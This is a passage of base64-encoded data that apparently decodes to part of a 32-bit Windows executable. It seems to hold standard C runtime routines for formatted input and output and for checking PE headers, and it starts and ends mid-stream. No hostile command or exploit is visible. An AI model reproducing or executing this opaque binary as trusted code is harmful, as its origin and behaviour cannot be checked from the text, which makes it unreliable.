+Gh0QIP4bHQYg/h3D4U6CAAAgY34+///AAgAAOkrCAAAZoM+bHURRkaBjfj7//8AEAAA6RQIAACDjfj7//8Q6QgIAACDjfj7//8g6fwHAAAPtwZmg/g2dRlmg34CNHUSg8YEgY34+///AIAAAOnaBwAAZoP4M3UZZoN+AjJ1EoPGBIGl+Pv///9////puwcAAGaD+GQPhLEHAABmg/hpD4SnBwAAZoP4bw+EnQcAAGaD+HUPhJMHAABmg/h4D4SJBwAAZoP4WA+EfwcAAIm9wPv//4uF2Pv//4294Pv//4vxx4XU+///AQAAAOj9+///6U8HAAAPt8GD+GQPj0oCAAAPhJcCAACD+FMPjxMBAAB0fYPoQXQQSEh0WEhIdAhISA+FegUAAIPBIMeFyPv//wEAAACJjeT7//+Djfj7//9AOb30+///jYX8+///iYXw+///uAACAACJhcz7//8PjWkCAADHhfT7//8GAAAA6cECAAD3hfj7//8wCAAAD4XCAAAAg434+///IOm2AAAA94X4+///MAgAAHUHg434+///IIu99Pv//4P//3UFv////3+DwwT2hfj7//8giZ3o+///i1v8iZ3w+///D4SUBAAAhdt1C6EQsEQAiYXw+///g6Xs+///AIu18Pv//4X/D46sBAAAigaEwA+EogQAAA+2wFD/Fdh0QgBZhcB0AUZG/4Xs+///Ob3s+///fNfpfgQAAIPoWA+EkQIAAEhID4SKAAAAg+gHD4T9/v//SEgPhVwEAAAPtwODwwQz9kb2hfj7//8gibXU+///iZ3o+///iYWo+///dDeIhbz7//+h1HRCAMaFvfv//wD/MI2FvPv//1CNhfz7//9Q/xXQdEIAg8QMhcB9D4m1rPv//+sHZomF/Pv//42F/Pv//4mF8Pv//4m17Pv//+njAwAAiwODwwSJnej7//87x3Rii3AEO/d0Ww+3CGY5SAIPgjv7///3hfj7//8ACAAAD7fBdC4zyYvQ99JBhNEPhB37//+L1vfShNEPhBH7//+JtfD7///R6ImN1Pv//+l9AwAAib3U+///ibXw+///6WwDAAChELBEAImF8Pv//41QAYoIQITJdfkrwulQAwAAg/hwD491AQAAD4RdAQAAg/hlD4w+AwAAg/hnD47O/f//g/hpdC2D+G4PhKL6//+D+G8PhR4DAAD2hfj7//+AiZXk+///dB2Bjfj7//8AAgAA6xGDjfj7//9Ax4Xk+///CgAAAIuF+Pv//6kAgAAAD4RtAQAAA9qLQ/iLU/zplQEAAHUSZoP5Z3Vfx4X0+///AQAAAOtTOYX0+///fgaJhfT7//+/owAAADm99Pv//344i7X0+///gcZdAQAAVv8VcHRCAFmLjeT7//+Jhbj7//+FwHQOiYXw+///ibXM+///6waJvfT7///2hfj7//+AdAqBjcj7//+AAAAAiwP/tcj7//+LtfD7////tfT7//+DwwiJhZj7//+LQ/yJhZz7//8PvsFQ/7XM+///jYWY+///VlCJnej7///oJuv//4PEGIA+LXUQgY34+///AAEAAP+F8Pv//4uF8Pv//41QAYoIQITJdfnpjf7//4mV9Pv//8eFtPv//wcAAADrJIPocw+E0Pz//0hID4TL/v//g+gDD4W+AQAAx4W0+///JwAAAPaF+Pv//4DHheT7//8QAAAAD4Sr/v//ajBYZomFxPv//4uFtPv//4PAUWaJhcb7///Hhdz7//8CAAAA6YL+//+pABAAAA+FiP7//4PDBKggdBeJnej7//+oQHQGD79D/OsED7dD/JnrEqhAi0P8dAOZ6wIz0omd6Pv///aF+Pv//0B0GzvXfxd8BDvHcxH32IPSAPfagY34+///AAEAAPeF+Pv//wCQAACL2ov4dQIz24O99Pv//wB9DMeF9Pv//wEAAADrGoOl+Pv///e4AAIAADmF9Pv//34GiYX0+///i8cLw3UGIYXc+///jbX7/f//i4X0+////430+///hcB/BovHC8N0LYuF5Pv//5lSUFNX6DfW//+DwTCD+TmJnaT7//+L+IvafgYDjbT7//+IDk7rvY2F+/3//yvGRveF+Pv//wACAACJhez7//+JtfD7//90XoXAdAeLxoA4MHRT/43w+///i4Xw+////4Xs+///xgAw6zyF23ULoRSwRACJhfD7//+LhfD7///HhdT7//8BAAAA6wlPZoM4AHQGQECF/3XzK4Xw+///0fiJhez7//+Dvaz7//8AD4VzAQAAi4X4+///qEB0K6kAAQAAdARqLesOqAF0BGor6waoAnQUaiBZZomNxPv//8eF3Pv//wEAAACLtdD7//8rtez7//8rtdz7//+JtaT7//+oDHUX/7XY+///jYXg+///Vmog6CD2//+DxAz/tdz7//+Lndj7//+NhcT7//9QjYXg+///6Cv2///2hfj7//8IWVl0G/aF+Pv//wR1ElNWajCNheD7///o3PX//4PEDIO91Pv//wB1fIuF7Pv//4XAfnKLjfD7//+JjeT7//+Jhcz7//+h1HRCAP8w/43M+////7Xk+///jYWo+///UP8V0HRCAIvYg8QMhdt+LouF2Pv//4u1qPv//4294Pv//+gu9f//AZ3k+///g73M+///AIu1pPv//3+r6yKDjeD7////6xn/tez7//+NheD7////tfD7///oafX//1lZg73g+///AHwg9oX4+///BHQX/7XY+///jYXg+///Vmog6BX1//+DxAyDvbj7//8AdBT/tbj7////FTh0QgCDpbj7//8AWYud6Pv//4u1sPv//zP/D7cGiYXk+///ZjvHdAeLyOkK9v//Ob3A+///dA2DvcD7//8HD4Wm9f//i4Xg+///i038X14zzVvow8r//8nDi/+HKUIAgidCALInQgAOKEIAWihCAGUoQgCrKEIAqSlCAIv/VYvsg+wgU1eLfQyD//91CcdF5P///3/rMYH/////P3Yj/xU0dEIAM9tTU1NTU8cAFgAAAOhOyv//g8QUg8j/6ZEAAACNBD+JReRW/3UUi3UI/3UQjUXgUIl16Il14MdF7EIAAADooPT//zPJM9uDxAw7w4lFDGaJTH7+fRI5XeR8TzvzdE47+3ZKZokO60X/TeR4CotF4IgY/0Xg6xGNReBQU+iJLQAAWVmD+P90Iv9N5HgHi0XgiBjrEY1F4FBT6GwtAABZWYP4/3QFi0UM6wNq/lheX1vJw4v/VYvsU4seOV0ID4WBAAAAiwc7RQx1ZY1FCFBqAlmLw/fhUlDoLNP//4PEDIXAfQQzwOtgagRT/xXEdEIAWVmJB4XAdOv/dQiLRRD/dQzHAAEAAAD/N+j00v//iwZWA8BqAlCJBugW0///g8QYhcB9IP83/xU4dEIAWeu0agRTUP8VNLBEAIPEDIXAdKOJB9EmM8BAW13Di/9Vi+z3RQgA/wAAVnUbD7d1CIvGJf8AAABQ/xXIdEIAWYXAdASLxusKD7dFCIPg34PoB15dw4v/VYvsuP//AABmO0UIdAZd6fwuAABdw4v/VYvsVv91CP8H6NgtAAAPt/C4//8AAFlmO/B0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BwAAg/5jD4TGBAAAg/5kD4TzBgAAD478BAAAg/5nfkCD/ml0HIP+bg+F6QQAAIuFNP3//4TJD4T3CQAA6R4KAABqZF5qLVhmO4U8/f//D4X/BAAAxoUl/f//Aen/BAAAai1YM9tmO4U8/f//dQ2LjRz9//9miQGL3+sMaitYZjuFPP3//3Uh/40w/f///7Uo/f///4U0/f//6CUmAAAPt8BZiYU8/f//g70U/f//AHUHg40w/f////eFPP3//wD/AAAPhY0AAAAPtoU8/f//UP8VyHRCAFmFwHR6i4Uw/f///40w/f//hcB0amYPvoU8/f//i40c/f///4Ug/f//ZokEWY2FBP3//1CNhUD9//9QQ1ONvRz9//+NtQD9///o0Pb//4PEDIXAD4TbCQAA/7Uo/f///4U0/f//6IMlAAAPt8BZiYU8/f//qQD/AAAPhHP////HhfD8//8uAAAA/xXgdEIAiw3UdEIA/zH/MI2F8Pz//1D/FdB0QgAPt4Xw/P//D76NPP3//4PEDDvBD4UHAQAAi4Uw/f///40w/f//hcAPhPMAAAD/tSj9////hTT9///oCSUAAIuNHP3//w+3wImFPP3//2aLhfD8//9miQRZjYUE/f//UI2FQP3//1BDU429HP3//421AP3//+j/9f//g8QQhcAPhAoJAAD3hTz9//8A/wAAD4WMAAAAD7aFPP3//1D/Fch0QgBZhcB0eYuFMP3///+NMP3//4XAdGmLhRz9//9mi408/f///4Ug/f//ZokMWI2FBP3//1CNhUD9//9QQ1ONvRz9//+NtQD9///oifX//4PEDIXAD4SUCAAA/7Uo/f///4U0/f//6DwkAAAPt8BZiYU8/f//qQD/AAAPhHT///+DvSD9//8AD4SVAQAAamVYZjuFPP3//3QQakVYZjuFPP3//w+FeQEAAIuFMP3///+NMP3//4XAD4RlAQAAi40c/f//amVYZokEWY2FBP3//1CNhUD9//9QQ1ONvRz9//+NtQD9///o7fT//4PEDIXAD4T4BwAA/7Uo/f///4U0/f//6KAjAABZD7fAai1ZiYU8/f//ZjvIdS5Ri40c/f//WGaJBFmNhQT9//9QjYVA/f//UENT6J70//+DxAyFwA+EqQcAAOsMaitYZjuFPP3//3Uzi4Uw/f///40w/f//hcB1CCGFMP3//+sb/7Uo/f///4U0/f//6CsjAAAPt8BZiYU8/f//94U8/f//AP8AAA+FjAAAAA+2hTz9//9Q/xXIdEIAWYXAdHmLhTD9////jTD9//+FwHRpi4Uc/f//ZouNPP3///+FIP3//2aJDFiNhQT9//9QjYVA/f//UENTjb0c/f//jbUA/f//6Ofz//+DxAyFwA+E8gYAAP+1KP3///+FNP3//+iaIgAAD7fAWYmFPP3//6kA/wAAD4R0/////7Uo/f///400/f///7U8/f//6G70//+DvSD9//8AWVkPhKYGAACAvSf9//8AD4XuBQAAi70A/f//i7Uc/f///4UI/f//M8CNfD8CV2aJBF7/FXB0QgCL2FmF2w+EawYAAFdWU/8VGHRCAP+18Pz//w++hS79//9T/7X4/P//SFDoBCAAAFP/FTh0QgCDxCDpjQUAAIO9FP3//wBqEFgPhYIBAAD/hTD9///pdwEAAIvGg+hwD4QJAgAAg+gDD4RXAQAASEgPhP8BAACD6AMPhDL7//+D6AN0NWaLhTz9//+LlRj9//9mOQIPhbYFAAD+jSb9//+EyQ+FJAUAAIuF5Pz//4mF7Pz//+kTBQAAakDpBwEAAGorWGY7hTz9//91Nf+NMP3//3USg70U/f//AHQJxoU7/f//Aesb/7Uo/f///4U0/f//6DkhAAAPt8BZiYU8/f//ajBYZjuFPP3//w+FugEAAP+1KP3///+FNP3//+gOIQAAWQ+3wGp4WYmFPP3//2Y7yHRQalhZZjvIdEiJvSD9//+D/nh0G4O9FP3//wB0Dv+NMP3//3UG/oU7/f//am/rXf+1KP3///+NNP3//1DovPL//1nHhTz9//8wAAAA6UYBAAD/tSj9////hTT9///omyAAAIO9FP3//wAPt8BZiYU8/f//dBWDrTD9//8COb0w/f//fQb+hTv9//9qeF7pBgEAAGogg70U/f//AFh0AgvHgL0v/f//AH4Dg8gChMl0A4PIBIP+e3VAjY0I/f//Uf+16Pz//42N+Pz///+1KP3///+1MP3//1GNjTT9//9RjY08/f//UY2NGP3//1FQ6Dr0//+DxCTrNv+16Pz//42NPP3///+1MP3//42VCP3//1GLjSj9//9qAFCNnfj8//+NvTT9///oHfL//4PEFIXAD4UOBAAA6V4DAADGhS79//8Bai1YZjuFPP3//3UJxoUl/f//AesMaitYZjuFPP3//3U1/40w/f//dRKDvRT9//8AdAnGhTv9//8B6xv/tSj9////hTT9///obx8AAA+3wImFPP3//1mDvfz8//8AD4SLAQAAgL07/f//AA+FTQEAALsA/wAAg/54D4SBAAAAg/5wdHyFnTz9//8PhRUBAAAPtoU8/f//UP8VyHRCAFmFwA+E/gAAAIP+b3UxajhYZjuFPP3//w+G6QAAAIuFDP3//4uNEP3//w+kwQPB4AOJhQz9//+JjRD9///remoAagr/tRD9////tQz9///oHx0AAImFDP3//4mVEP3//+tXhZ08/f//D4WZAAAAD7aFPP3//1D/Fdx0QgBZhcAPhIIAAACLhQz9//+LjRD9////tTz9//8PpMEEweAEiYUM/f//iY0Q/f//6Djw//8Pt8BZiYU8/f//D7eFPP3///+FIP3//4PoMJkBhQz9//8RlRD9//+DvRT9//8AdAj/jTD9//90Of+1KP3///+FNP3//+gmHgAAD7fAWYmFPP3//+nR/v///7Uo/f///400/f///7U8/f//6ADw//9ZWYC9Jf3//wAPhC0BAACLhQz9//+LjRD9///32IPRAPfZiYUM/f//iY0Q/f//6QkBAACAvTv9//8Ai530/P//D4XlAAAAvwD/AACD/nh0R4P+cHRChb08/f//D4WxAAAAD7aFPP3//1D/Fch0QgBZhcAPhJoAAACD/m91FWo4WGY7hTz9//8PhoUAAADB4wPrOGvbCuszhb08/f//dXMPtoU8/f//UP8V3HRCAFmFwHRg/7U8/f//weME6Anv//8Pt8BZiYU8/f//D7eFPP3///+FIP3//4O9FP3//wCNXAPQiZ30/P//dAj/jTD9//90Of+1KP3///+FNP3//+j9HAAAD7fAWYmFPP3//+k5/////7Uo/f///400/f///7U8/f//6Nfu//9ZWYC9Jf3//wB0CPfbiZ30/P//g/5GdQeDpSD9//8Ag70g/f//AA+E8gAAAIC9J/3//wB1Pv+FCP3//4ud+Pz//4uF9Pz//4O9/Pz//wB0E4uFDP3//4kDi4UQ/f//iUME6xCAvS79//8AdASJA+sDZokDg4UY/f//Av6FJv3//4u1GP3//zP/6yX/tSj9////hTT9///oPBwAAFlmiw4P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